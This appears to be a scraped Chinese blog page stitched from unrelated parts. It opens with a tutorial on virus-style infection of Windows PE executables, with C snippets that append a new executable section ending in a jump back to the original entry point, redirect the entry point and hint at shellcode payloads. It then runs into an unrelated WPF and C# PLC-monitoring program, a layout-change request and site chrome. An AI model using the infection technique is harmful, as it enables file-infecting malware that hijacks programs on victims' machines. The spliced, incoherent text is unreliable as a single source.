AddSection

本文详细介绍了PE文件感染的基本步骤,包括如何在PE文件中添加新节、更新节表信息及修正可选头部参数等内容,适用于理解PE文件结构及病毒自我复制机制。
 

PE感染,古老的话题!好久不玩感染,连最基本的添加新节的方式都迷糊了,遂巩固基本功,重新捡起来学习.
PE的那堆结构应该再熟悉不过了,略过.总结几个重点:

    ----------------------------------------------------------------------------
     NewSection.VirtualAddress   ┐
     NewSection.Misc.VirtualSize ┘定位 内存中 下个节的地址

     NewSection.SizeOfRawData      ┐
     NewSection.PointerToRawData ┘定位 磁盘中 下个节的地址

     OptionalHeader.SizeOfImage - 内存中整个PE的大小
     OptionalHeader.SizeOfCode   - 磁盘中整个代码块的大小
    ----------------------------------------------------------------------------

就下面几步,别人问你最基本的病毒感染方式时,你可别答漏了哦:
    ──────
      ︳ sudami ︳
      ︳08/08/28 ︳
      ──────

1.增加新节 - 定位到文件的最后,写入新节的内容length,末尾要增加5字节数据"jmp OEP"
    BYTE jmp = 0xE9;
    OEP = OEP-(NewSection.VirtualAddress+length)-5;
    fwrite(&jmp, sizeof(jmp), 1, newfile);
    fwrite(&OEP, sizeof(OEP), 1, newfile);

计算length在文件中的对齐大小,剩余部分填0
    for(i=0;i<alig(length,FILE_ALIG)-length-5;i++) {
    fputc('/0',newfile);
    }

2.增加新节表 - 有5处要填写的地方:
节表名、该节的磁盘偏移量、该节的磁盘大小、该节对齐后的内存大小、该节属性

    strcpy((char*)NewSection.Name,".sudami");
    NewSection.PointerToRawData = LastSectionTable.PointerToRawData+LastSectionTable.SizeOfRawData;
    NewSection.SizeOfRawData = alig(length,FILE_ALIG);
    NewSection.Misc.VirtualSize = length;
    NewSection.Characteristics = 0xE0000020; //新区块可读可写可执行

3.最后该修正可选头中的几个参数值了:
    int nNewImageSize = NThea.OptionalHeader.SizeOfImage + alig(length,SECTION_ALIG);
    int nNewSizeofCode = NThea.OptionalHeader.SizeOfCode + alig(length,FILE_ALIG);
    // 绑定输入,还是修改下比较好
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
    NThea.OptionalHeader.SizeOfCode   = nNewSizeofCode; // 修正磁盘中整个代码块的大小
    NThea.OptionalHeader.SizeOfImage = nNewImageSize;   // 修正内存中整个PE的大小
    NThea.FileHeader.NumberOfSections = nOldSectionNo+1; // 节表数加1
    NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 修改OEP

OK,新节的内容多数时候是shellcode吧,一般很简单的.嘿嘿...

<Window x:Class="_9696999.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:local="clr-namespace:_9696999" mc:Ignorable="d" Title="PLC监控系统" Height="900" Width="1400" Closed="Window_Closed"> <Window.Resources> <local:StatusColorConverter x:Key="StatusColorConverter"/> </Window.Resources> <Grid> <Grid.RowDefinitions> <RowDefinition Height="Auto"/> <!-- PLC连接区域 --> <RowDefinition Height="Auto"/> <!-- 电机监控配置 --> <RowDefinition Height="250"/> <!-- 电机监控数据 --> <RowDefinition Height="Auto"/> <!-- 节拍时间图表配置 --> <RowDefinition Height="220"/> <!-- 节拍时间图表 --> <RowDefinition Height="Auto"/> <!-- 负载率监控配置 --> <RowDefinition Height="220"/> <!-- 负载率图表 --> <RowDefinition Height="Auto"/> <!-- 日志区域 --> </Grid.RowDefinitions> <!-- PLC连接控制区域 --> <GroupBox Grid.Row="0" Header="PLC连接设置" Margin="5,5,5,3"> <StackPanel Orientation="Horizontal"> <TextBlock Text="站号:" VerticalAlignment="Center" Margin="5"/> <TextBox x:Name="txtStationNumber" Width="50" Margin="5" Text="1"/> <Button x:Name="btnConnect" Content="连接PLC" Margin="5" Click="Connect_Click" Width="80"/> <Button x:Name="btnDisconnect" Content="断开连接" Margin="5" Click="Disconnect_Click" Width="80" IsEnabled="False"/> <TextBlock x:Name="tbConnectionStatus" Text="未连接" Margin="10" VerticalAlignment="Center" FontWeight="Bold"/> <TextBlock Text="心跳状态:" Margin="5" VerticalAlignment="Center"/> <TextBlock x:Name="tbHeartbeatStatus" Text="未连接" Margin="5" VerticalAlignment="Center" Foreground="Gray" FontWeight="Bold"/> </StackPanel> </GroupBox> <!-- 电机监控配置 --> <GroupBox Grid.Row="1" Header="电机监控点位配置" Margin="5,3,5,3"> <StackPanel Orientation="Horizontal"> <TextBlock Text="点位名称:" VerticalAlignment="Center" Margin="5"/> <TextBox x:Name="txtPointName" Width="120" Margin="5"/> <TextBlock Text="点位地址:" VerticalAlignment="Center" Margin="5"/> <TextBox x:Name="txtPointAddress" Width="80" Margin="5"/> <TextBlock Text="标准值:" VerticalAlignment="Center" Margin="5"/> <TextBox x:Name="txtStandardValue" Width="80" Margin="5"/> <Button x:Name="btnAddPoint" Content="添加点位" Margin="5" Click="AddMonitorPoint_Click" Width="80"/> <Button x:Name="btnSaveMotorConfig" Content="保存配置" Margin="5" Click="SaveMotorConfig_Click" Width="80"/> <Button x:Name="btnLoadMotorConfig" Content="加载配置" Margin="5" Click="LoadMotorConfig_Click" Width="80"/> </StackPanel> </GroupBox> <!-- 电机监控数据表格 --> <GroupBox Grid.Row="2" Header="电机点位实时监控" Margin="5,3,5,3"> <DataGrid ItemsSource="{Binding MotorDataList}" AutoGenerateColumns="False" Margin="5"> <DataGrid.Columns> <DataGridTextColumn Header="点位名称" Binding="{Binding PointName}" Width="120"/> <DataGridTextColumn Header="地址" Binding="{Binding Address}" Width="80"/> <DataGridTextColumn Header="标准值" Binding="{Binding StandardValue}" Width="80"/> <DataGridTextColumn Header="实际值" Binding="{Binding ActualValue}" Width="80"/> <DataGridTextColumn Header="状态" Binding="{Binding Status}" Width="100"> <DataGridTextColumn.ElementStyle> <Style TargetType="TextBlock"> <Setter Property="Foreground" Value="{Binding Status, Converter={StaticResource StatusColorConverter}}"/> <Setter Property="FontWeight" Value="Bold"/> </Style> </DataGridTextColumn.ElementStyle> </DataGridTextColumn> </DataGrid.Columns> </DataGrid> </GroupBox> <!-- 节拍监控配置 --> <GroupBox Grid.Row="3" Header="节拍时间监控配置" Margin="5,3,5,3"> <StackPanel Orientation="Horizontal"> <TextBlock Text="部位名称:" VerticalAlignment="Center" Margin="5"/> <TextBox x:Name="txtSectionName" Width="120" Margin="5"/> <TextBlock Text="监控地址:" VerticalAlignment="Center" Margin="5"/> <TextBox x:Name="txtSectionAddress" Width="80" Margin="5"/> <Button x:Name="btnAddSection" Content="添加部位" Margin="5" Click="AddSection_Click" Width="80"/> <Button x:Name="btnSaveRhythmConfig" Content="保存配置" Margin="5" Click="SaveRhythmConfig_Click" Width="80"/> <Button x:Name="btnLoadRhythmConfig" Content="加载配置" Margin="5" Click="LoadRhythmConfig_Click" Width="80"/> </StackPanel> </GroupBox> <!-- 节拍时间图表 --> <GroupBox Grid.Row="4" Header="设备节拍时间监控" Margin="5,3,5,3"> <Grid> <Grid.ColumnDefinitions> <ColumnDefinition Width="*"/> <ColumnDefinition Width="Auto"/> </Grid.ColumnDefinitions> <Canvas x:Name="canvasRhythmChart" Background="White"/> <StackPanel Grid.Column="1" Orientation="Vertical" VerticalAlignment="Center" Margin="20,0,10,0"> <Rectangle Width="20" Height="20" Fill="Green" Margin="0,5"/> <!-- 修正:使用 < 替代 < --> <TextBlock Text="< 10s" Margin="0,5"/> <Rectangle Width="20" Height="20" Fill="YellowGreen" Margin="0,5"/> <TextBlock Text="10-20s" Margin="0,5"/> <Rectangle Width="20" Height="20" Fill="Orange" Margin="0,5"/> <TextBlock Text="20-30s" Margin="0,5"/> <Rectangle Width="20" Height="20" Fill="Red" Margin="0,5"/> <!-- 修正:使用 > 替代 > --> <TextBlock Text="> 30s" Margin="0,5"/> </StackPanel> </Grid> </GroupBox> <!-- 负载监控配置 --> <GroupBox Grid.Row="5" Header="伺服电机负载率监控配置" Margin="5,3,5,3"> <StackPanel Orientation="Horizontal"> <TextBlock Text="电机名称:" VerticalAlignment="Center" Margin="5"/> <TextBox x:Name="txtMotorName" Width="120" Margin="5"/> <TextBlock Text="监控地址:" VerticalAlignment="Center" Margin="5"/> <TextBox x:Name="txtMotorAddress" Width="80" Margin="5"/> <Button x:Name="btnAddMotor" Content="添加电机" Margin="5" Click="AddMotor_Click" Width="80"/> <Button x:Name="btnSaveLoadConfig" Content="保存配置" Margin="5" Click="SaveLoadConfig_Click" Width="80"/> <Button x:Name="btnLoadLoadConfig" Content="加载配置" Margin="5" Click="LoadLoadConfig_Click" Width="80"/> </StackPanel> </GroupBox> <!-- 负载率图表 --> <GroupBox Grid.Row="6" Header="伺服电机负载率监控" Margin="5,3,5,3"> <Grid> <Grid.ColumnDefinitions> <ColumnDefinition Width="*"/> <ColumnDefinition Width="Auto"/> </Grid.ColumnDefinitions> <Canvas x:Name="canvasLoadChart" Background="White"/> <StackPanel Grid.Column="1" Orientation="Vertical" VerticalAlignment="Center" Margin="20,0,10,0"> <Rectangle Width="20" Height="20" Fill="Green" Margin="0,5"/> <!-- 修正:使用 < 替代 < --> <TextBlock Text="< 80%" Margin="0,5"/> <Rectangle Width="20" Height="20" Fill="Red" Margin="0,5"/> <!-- 修正:使用 ≥ 替代 >= --> <TextBlock Text="≥ 80%" Margin="0,5"/> </StackPanel> </Grid> </GroupBox> <!-- 日志区域 --> <GroupBox Grid.Row="7" Header="通讯日志" Margin="5,3,5,5"> <TextBox x:Name="txtCommunicationLog" IsReadOnly="True" VerticalScrollBarVisibility="Auto" TextWrapping="Wrap" FontFamily="Consolas" Height="120"/> </GroupBox> </Grid> </Window>using System; using System.Collections.ObjectModel; using System.IO; using System.Text.Json; using System.Windows; using System.Windows.Controls; using System.Windows.Media; using System.Windows.Shapes; using System.Windows.Threading; using ActUtlType64Lib; using Microsoft.Win32; using System.Text.Json.Serialization; namespace _9696999 { public partial class MainWindow : Window { private PlcMonitorViewModel _viewModel; private ActUtlType64 _plc; private DispatcherTimer _readTimer; private DispatcherTimer _logClearTimer; private DispatcherTimer _heartbeatTimer; // 心跳定时器 private bool _isConnected = false; private int _stationNumber = 1; // 保存站号用于重连 private int _connectionRetryCount = 0; // 重试次数计数 private const int MAX_RETRY_COUNT = 5; // 最大重试次数 // 存储上一次的值用于比较变化 private ObservableCollection<float> _lastMotorValues = new ObservableCollection<float>(); private ObservableCollection<float> _lastRhythmValues = new ObservableCollection<float>(); private ObservableCollection<float> _lastLoadValues = new ObservableCollection<float>(); public MainWindow() { InitializeComponent(); _viewModel = new PlcMonitorViewModel(); DataContext = _viewModel; _plc = new ActUtlType64(); _readTimer = new DispatcherTimer(); _logClearTimer = new DispatcherTimer(); _heartbeatTimer = new DispatcherTimer(); // 初始化心跳定时器 InitializePlc(); InitializeLogClearTimer(); InitializeHeartbeatTimer(); // 初始化心跳定时器 } private void InitializeHeartbeatTimer() { _heartbeatTimer.Interval = TimeSpan.FromSeconds(5); // 5秒检测一次 _heartbeatTimer.Tick += HeartbeatTimer_Tick; _heartbeatTimer.Start(); AddLog("心跳检测功能已启动"); } private void HeartbeatTimer_Tick(object? sender, EventArgs e) { // 只有在已连接状态下才检测心跳 if (!_isConnected) return; try { // 尝试读取一个测试点来检测连接状态 short testValue; int result = _plc.ReadDeviceBlock2("D0", 1, out testValue); if (result != 0) { // 读取失败,连接可能已断开 _isConnected = false; _readTimer.Stop(); Application.Current.Dispatcher.Invoke(() => { tbConnectionStatus.Text = "连接断开 (尝试重连中...)"; tbHeartbeatStatus.Text = "连接异常"; tbHeartbeatStatus.Foreground = Brushes.Red; }); AddLog($"心跳检测失败,错误代码: {result}"); TryReconnect(); } else { // 连接正常 Application.Current.Dispatcher.Invoke(() => { tbHeartbeatStatus.Text = "连接正常"; tbHeartbeatStatus.Foreground = Brushes.Green; }); } } catch (Exception ex) { AddLog($"心跳检测异常: {ex.Message}"); _isConnected = false; _readTimer.Stop(); TryReconnect(); } } private void TryReconnect() { if (_connectionRetryCount >= MAX_RETRY_COUNT) { AddLog($"已达到最大重试次数({MAX_RETRY_COUNT}),停止自动重连"); _heartbeatTimer.Stop(); return; } _connectionRetryCount++; AddLog($"尝试第 {_connectionRetryCount} 次重新连接..."); try { _plc.Close(); // 确保先关闭连接 int result = _plc.Open(); if (result == 0) { _isConnected = true; _connectionRetryCount = 0; // 重置重试计数 Application.Current.Dispatcher.Invoke(() => { tbConnectionStatus.Text = $"已重新连接 (站号: {_stationNumber})"; tbHeartbeatStatus.Text = "连接正常"; tbHeartbeatStatus.Foreground = Brushes.Green; btnConnect.IsEnabled = false; btnDisconnect.IsEnabled = true; }); _readTimer.Start(); AddLog($"PLC重新连接成功 (站号: {_stationNumber})"); } else { AddLog($"重新连接失败,错误代码: {result}"); } } catch (Exception ex) { AddLog($"重新连接异常: {ex.Message}"); } } private void InitializeLogClearTimer() { _logClearTimer = new DispatcherTimer(); // 设置间隔为10分钟(600,000毫秒) _logClearTimer.Interval = TimeSpan.FromMinutes(1); _logClearTimer.Tick += LogClearTimer_Tick; _logClearTimer.Start(); AddLog("日志自动清除功能已启动(每隔10分钟清除一次)"); } private void LogClearTimer_Tick(object? sender, EventArgs e) { ClearCommunicationLog(); } private void ClearCommunicationLog() { if (!Application.Current.Dispatcher.CheckAccess()) { Application.Current.Dispatcher.Invoke(ClearCommunicationLog); return; } // 记录清除操作 string clearMessage = $"{DateTime.Now:yyyy-MM-dd HH:mm:ss} 已自动清除通讯日志"; // 清除日志 txtCommunicationLog.Text = clearMessage + Environment.NewLine; // 可选:添加日志记录表明已执行清除操作 AddLog("通讯日志已自动清除"); } private void InitializePlc() { try { _plc = new ActUtlType64(); AddLog("PLC通信库初始化成功"); } catch (Exception ex) { MessageBox.Show($"初始化PLC通信失败: {ex.Message}\n请确保已安装MX Component运行时库。"); AddLog($"PLC通信库初始化失败: {ex.Message}"); } } // 连接PLC private void Connect_Click(object sender, RoutedEventArgs e) { // 验证站号输入 if (!int.TryParse(txtStationNumber.Text, out int stationNumber) || stationNumber < 1 || stationNumber > 255) { MessageBox.Show("请输入有效的站号 (1-255)"); return; } _stationNumber = stationNumber; // 保存站号用于重连 _connectionRetryCount = 0; // 重置重试计数 try { // 设置站号 _plc.ActLogicalStationNumber = stationNumber; int result = _plc.Open(); if (result == 0) // 返回0表示成功 { _isConnected = true; tbConnectionStatus.Text = $"已连接 (站号: {stationNumber})"; tbHeartbeatStatus.Text = "连接正常"; tbHeartbeatStatus.Foreground = Brushes.Green; btnConnect.IsEnabled = false; btnDisconnect.IsEnabled = true; txtStationNumber.IsEnabled = false; StartMonitoring(); AddLog($"PLC连接成功 (站号: {stationNumber})"); } else { MessageBox.Show($"连接失败,错误代码: {result}"); AddLog($"PLC连接失败,错误代码: {result}"); } } catch (Exception ex) { MessageBox.Show($"连接失败: {ex.Message}"); AddLog($"PLC连接异常: {ex.Message}"); } } // 启动监控定时器 private void StartMonitoring() { _readTimer = new DispatcherTimer { Interval = TimeSpan.FromMilliseconds(200) // 200ms采集周期 }; _readTimer.Tick += async (s, e) => await ReadPlcDataAsync(); _readTimer.Start(); AddLog("开始监控PLC数据"); } // 异步读取PLC数据 private async System.Threading.Tasks.Task ReadPlcDataAsync() { if (!_isConnected) return; try { await System.Threading.Tasks.Task.Run(() => { // 读取电机点位数据 ReadMotorData(); // 读取节拍时间数据 ReadRhythmData(); // 读取负载率数据 ReadLoadData(); }); } catch (Exception ex) { AddLog($"读取数据异常: {ex.Message}"); } } // 读取电机点位数据 private void ReadMotorData() { for (int i = 0; i < _viewModel.MotorDataList.Count; i++) { short value = 0; int result = _plc.ReadDeviceBlock2(_viewModel.MotorDataList[i].Address, 1, out value); if (result == 0) { float actualValue = value; Application.Current.Dispatcher.Invoke(() => { var data = _viewModel.MotorDataList[i]; data.ActualValue = actualValue; // 检查值是否发生变化 if (_lastMotorValues.Count <= i) { _lastMotorValues.Add(actualValue); data.Status = (actualValue == data.StandardValue) ? "正常" : "异常"; if (data.Status == "异常") { AddLog($"点位 {data.PointName} 异常: 实际值 {actualValue} ≠ 标准值 {data.StandardValue}"); } } else if (_lastMotorValues[i] != actualValue) { data.Status = (actualValue == data.StandardValue) ? "正常" : "异常"; if (data.Status == "异常") { AddLog($"点位 {data.PointName} 异常: 实际值 {actualValue} ≠ 标准值 {data.StandardValue}"); } _lastMotorValues[i] = actualValue; } }); } else { AddLog($"读取点位 {_viewModel.MotorDataList[i].PointName} 失败,错误代码: {result}"); } } } // 读取节拍时间数据并绘制柱状图 private void ReadRhythmData() { for (int i = 0; i < _viewModel.RhythmDataList.Count; i++) { short value = 0; int result = _plc.ReadDeviceBlock2(_viewModel.RhythmDataList[i].Address, 1, out value); if (result == 0) { float rhythmValue = value / 10.0f; Application.Current.Dispatcher.Invoke(() => { _viewModel.RhythmDataList[i].Value = rhythmValue; DrawBarChart(canvasRhythmChart, _viewModel.RhythmDataList, true, "rhythm"); }); } else { AddLog($"读取节拍数据 {_viewModel.RhythmDataList[i].Name} 失败,错误代码: {result}"); } } } // 读取负载率数据并绘制柱状图 private void ReadLoadData() { for (int i = 0; i < _viewModel.LoadDataList.Count; i++) { short value = 0; int result = _plc.ReadDeviceBlock2(_viewModel.LoadDataList[i].Address, 1, out value); if (result == 0) { float loadValue = value; Application.Current.Dispatcher.Invoke(() => { _viewModel.LoadDataList[i].Value = value; DrawBarChart(canvasLoadChart, _viewModel.LoadDataList, true, "load"); }); } else { AddLog($"读取负载数据 {_viewModel.LoadDataList[i].Name} 失败,错误代码: {result}"); } } } // 绘制柱状图 private void DrawBarChart(Canvas canvas, ObservableCollection<ChartData> dataList, bool showValue, string chartType) { if (!Application.Current.Dispatcher.CheckAccess()) { Application.Current.Dispatcher.Invoke(() => DrawBarChart(canvas, dataList, showValue, chartType)); return; } canvas.Children.Clear(); if (dataList.Count == 0) return; double canvasWidth = canvas.ActualWidth; double canvasHeight = canvas.ActualHeight; double barWidth = (canvasWidth - 40) / dataList.Count - 10; double maxValue = GetMaxValue(dataList); // 绘制Y轴 Line yAxis = new Line { X1 = 30, Y1 = 20, X2 = 30, Y2 = canvasHeight - 30, Stroke = Brushes.Black, StrokeThickness = 2 }; canvas.Children.Add(yAxis); // 绘制X轴 Line xAxis = new Line { X1 = 30, Y1 = canvasHeight - 30, X2 = canvasWidth - 10, Y2 = canvasHeight - 30, Stroke = Brushes.Black, StrokeThickness = 2 }; canvas.Children.Add(xAxis); // 绘制Y轴刻度 for (int i = 0; i <= 5; i++) { double yPos = canvasHeight - 30 - (i * (canvasHeight - 50) / 5); double value = i * maxValue / 5; Line tick = new Line { X1 = 25, Y1 = yPos, X2 = 30, Y2 = yPos, Stroke = Brushes.Black, StrokeThickness = 1 }; canvas.Children.Add(tick); TextBlock tickValue = new TextBlock { Text = value.ToString("F1"), FontSize = 10, Foreground = Brushes.Black }; Canvas.SetLeft(tickValue, 5); Canvas.SetTop(tickValue, yPos - 8); canvas.Children.Add(tickValue); } for (int i = 0; i < dataList.Count; i++) { double barHeight = (dataList[i].Value / maxValue) * (canvasHeight - 60); double x = 40 + i * (barWidth + 10); double y = canvasHeight - 30 - barHeight; // 根据图表类型和数值确定颜色 Brush barColor = GetBarColor(chartType, dataList[i].Value); // 绘制柱形 System.Windows.Shapes.Rectangle rect = new System.Windows.Shapes.Rectangle { Width = barWidth, Height = barHeight, Fill = barColor, Stroke = Brushes.Black, StrokeThickness = 1 }; Canvas.SetLeft(rect, x); Canvas.SetTop(rect, y); canvas.Children.Add(rect); // 绘制数值 if (showValue) { TextBlock text = new TextBlock { Text = dataList[i].Value.ToString("F1"), FontSize = 10, Foreground = Brushes.Black }; Canvas.SetLeft(text, x + barWidth / 2 - 10); Canvas.SetTop(text, y - 20); canvas.Children.Add(text); } // 绘制名称 TextBlock nameText = new TextBlock { Text = $"{dataList[i].Name}\n{dataList[i].Address}", FontSize = 10, Foreground = Brushes.Black, TextAlignment = TextAlignment.Center, Width = barWidth + 10 }; Canvas.SetLeft(nameText, x - 5); Canvas.SetTop(nameText, canvasHeight - 25); canvas.Children.Add(nameText); } } // 根据图表类型和数值获取对应的颜色 private Brush GetBarColor(string chartType, double value) { switch (chartType) { case "rhythm": // 设备节拍时间 if (value < 10) return Brushes.Green; else if (value >= 10 && value < 20) return Brushes.YellowGreen; else if (value >= 20 && value < 30) return Brushes.Orange; else return Brushes.Red; case "load": // 伺服电机负载率 return value < 80 ? Brushes.Green : Brushes.Red; default: // 默认颜色 return Brushes.SteelBlue; } } // 获取最大值用于比例计算 private float GetMaxValue(ObservableCollection<ChartData> dataList) { float max = 0; foreach (var item in dataList) { if (item.Value > max) max = item.Value; } return max > 0 ? max : 1; } // 添加日志 private void AddLog(string message) { Application.Current.Dispatcher.Invoke(() => { txtCommunicationLog.AppendText($"{DateTime.Now:yyyy-MM-dd HH:mm:ss} {message}\n"); txtCommunicationLog.ScrollToEnd(); }); } // 电机点位配置保存 private void SaveMotorConfig_Click(object sender, RoutedEventArgs e) { try { SaveFileDialog saveFileDialog = new SaveFileDialog(); saveFileDialog.Filter = "JSON文件 (*.json)|*.json|所有文件 (*.*)|*.*"; saveFileDialog.DefaultExt = "json"; saveFileDialog.InitialDirectory = @"D:\"; // 默认指向D盘[1](@ref) saveFileDialog.FileName = "motor_config.json"; if (saveFileDialog.ShowDialog() == true) { string jsonString = JsonSerializer.Serialize(_viewModel.MotorDataList); File.WriteAllText(saveFileDialog.FileName, jsonString); AddLog($"电机配置已保存到: {saveFileDialog.FileName}"); } } catch (Exception ex) { MessageBox.Show($"保存配置失败: {ex.Message}"); AddLog($"保存电机配置异常: {ex.Message}"); } } // 电机点位配置读取 private void LoadMotorConfig_Click(object sender, RoutedEventArgs e) { try { OpenFileDialog openFileDialog = new OpenFileDialog(); openFileDialog.Filter = "JSON文件 (*.json)|*.json|所有文件 (*.*)|*.*"; openFileDialog.DefaultExt = "json"; openFileDialog.InitialDirectory = @"D:\"; // 默认指向D盘 if (openFileDialog.ShowDialog() == true) { string jsonString = File.ReadAllText(openFileDialog.FileName); var data = JsonSerializer.Deserialize<ObservableCollection<MotorPointData>>(jsonString); if (data != null) { _viewModel.MotorDataList.Clear(); foreach (var item in data) { _viewModel.MotorDataList.Add(item); } AddLog($"电机配置已从 {openFileDialog.FileName} 读取"); } } } catch (Exception ex) { MessageBox.Show($"读取配置失败: {ex.Message}"); AddLog($"读取电机配置异常: {ex.Message}"); } } // 节拍配置保存 private void SaveRhythmConfig_Click(object sender, RoutedEventArgs e) { try { SaveFileDialog saveFileDialog = new SaveFileDialog(); saveFileDialog.Filter = "JSON文件 (*.json)|*.json|所有文件 (*.*)|*.*"; saveFileDialog.DefaultExt = "json"; saveFileDialog.InitialDirectory = @"D:\"; saveFileDialog.FileName = "rhythm_config.json"; if (saveFileDialog.ShowDialog() == true) { string jsonString = JsonSerializer.Serialize(_viewModel.RhythmDataList); File.WriteAllText(saveFileDialog.FileName, jsonString); AddLog($"节拍配置已保存到: {saveFileDialog.FileName}"); } } catch (Exception ex) { MessageBox.Show($"保存配置失败: {ex.Message}"); AddLog($"保存节拍配置异常: {ex.Message}"); } } // 节拍配置读取 private void LoadRhythmConfig_Click(object sender, RoutedEventArgs e) { try { OpenFileDialog openFileDialog = new OpenFileDialog(); openFileDialog.Filter = "JSON文件 (*.json)|*.json|所有文件 (*.*)|*.*"; openFileDialog.DefaultExt = "json"; openFileDialog.InitialDirectory = @"D:\"; if (openFileDialog.ShowDialog() == true) { string jsonString = File.ReadAllText(openFileDialog.FileName); var data = JsonSerializer.Deserialize<ObservableCollection<ChartData>>(jsonString); if (data != null) { _viewModel.RhythmDataList.Clear(); foreach (var item in data) { _viewModel.RhythmDataList.Add(item); } AddLog($"节拍配置已从 {openFileDialog.FileName} 读取"); } } } catch (Exception ex) { MessageBox.Show($"读取配置失败: {ex.Message}"); AddLog($"读取节拍配置异常: {ex.Message}"); } } // 负载配置保存 private void SaveLoadConfig_Click(object sender, RoutedEventArgs e) { try { SaveFileDialog saveFileDialog = new SaveFileDialog(); saveFileDialog.Filter = "JSON文件 (*.json)|*.json|所有文件 (*.*)|*.*"; saveFileDialog.DefaultExt = "json"; saveFileDialog.InitialDirectory = @"D:\"; saveFileDialog.FileName = "load_config.json"; if (saveFileDialog.ShowDialog() == true) { string jsonString = JsonSerializer.Serialize(_viewModel.LoadDataList); File.WriteAllText(saveFileDialog.FileName, jsonString); AddLog($"负载配置已保存到: {saveFileDialog.FileName}"); } } catch (Exception ex) { MessageBox.Show($"保存配置失败: {ex.Message}"); AddLog($"保存负载配置异常: {ex.Message}"); } } // 负载配置读取 private void LoadLoadConfig_Click(object sender, RoutedEventArgs e) { try { OpenFileDialog openFileDialog = new OpenFileDialog(); openFileDialog.Filter = "JSON文件 (*.json)|*.json|所有文件 (*.*)|*.*"; openFileDialog.DefaultExt = "json"; openFileDialog.InitialDirectory = @"D:\"; if (openFileDialog.ShowDialog() == true) { string jsonString = File.ReadAllText(openFileDialog.FileName); var data = JsonSerializer.Deserialize<ObservableCollection<ChartData>>(jsonString); if (data != null) { _viewModel.LoadDataList.Clear(); foreach (var item in data) { _viewModel.LoadDataList.Add(item); } AddLog($"负载配置已从 {openFileDialog.FileName} 读取"); } } } catch (Exception ex) { MessageBox.Show($"读取配置失败: {ex.Message}"); AddLog($"读取负载配置异常: {ex.Message}"); } } // 断开连接 private void Disconnect_Click(object sender, RoutedEventArgs e) { try { _plc.Close(); _isConnected = false; _readTimer.Stop(); tbConnectionStatus.Text = "未连接"; tbHeartbeatStatus.Text = "未连接"; tbHeartbeatStatus.Foreground = Brushes.Gray; btnConnect.IsEnabled = true; btnDisconnect.IsEnabled = false; txtStationNumber.IsEnabled = true; _connectionRetryCount = 0; // 重置重试计数 AddLog("PLC连接已断开"); } catch (Exception ex) { MessageBox.Show($"断开连接失败: {ex.Message}"); AddLog($"断开连接异常: {ex.Message}"); } } // 添加监控点 private void AddMonitorPoint_Click(object sender, RoutedEventArgs e) { if (string.IsNullOrWhiteSpace(txtPointName.Text) || string.IsNullOrWhiteSpace(txtPointAddress.Text) || string.IsNullOrWhiteSpace(txtStandardValue.Text)) { MessageBox.Show("请填写完整的监控点信息"); return; } if (!float.TryParse(txtStandardValue.Text, out float standardValue)) { MessageBox.Show("标准值必须是有效的数字"); return; } _viewModel.MotorDataList.Add(new MotorPointData { PointName = txtPointName.Text, Address = txtPointAddress.Text, StandardValue = standardValue, ActualValue = 0, Status = "未知" }); txtPointName.Text = ""; txtPointAddress.Text = ""; txtStandardValue.Text = ""; } // 添加节拍监控部位 private void AddSection_Click(object sender, RoutedEventArgs e) { if (string.IsNullOrWhiteSpace(txtSectionName.Text) || string.IsNullOrWhiteSpace(txtSectionAddress.Text)) { MessageBox.Show("请填写完整的部位信息"); return; } _viewModel.RhythmDataList.Add(new ChartData { Name = txtSectionName.Text, Address = txtSectionAddress.Text, Value = 0 }); txtSectionName.Text = ""; txtSectionAddress.Text = ""; } // 添加负载监控电机 private void AddMotor_Click(object sender, RoutedEventArgs e) { if (string.IsNullOrWhiteSpace(txtMotorName.Text) || string.IsNullOrWhiteSpace(txtMotorAddress.Text)) { MessageBox.Show("请填写完整的电机信息"); return; } _viewModel.LoadDataList.Add(new ChartData { Name = txtMotorName.Text, Address = txtMotorAddress.Text, Value = 0 }); txtMotorName.Text = ""; txtMotorAddress.Text = ""; } // 窗口关闭时清理资源 private void Window_Closed(object sender, EventArgs e) { if (_isConnected) { _plc.Close(); _readTimer.Stop(); } // 停止所有定时器 _logClearTimer?.Stop(); _heartbeatTimer?.Stop(); } } } 把上面代码中的PLC连接设置部分隐藏在左侧区域,电机监控和通讯日志放在左侧,设备节拍时间和设备伺服电机负载率放在右边
最新发布
10-05
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值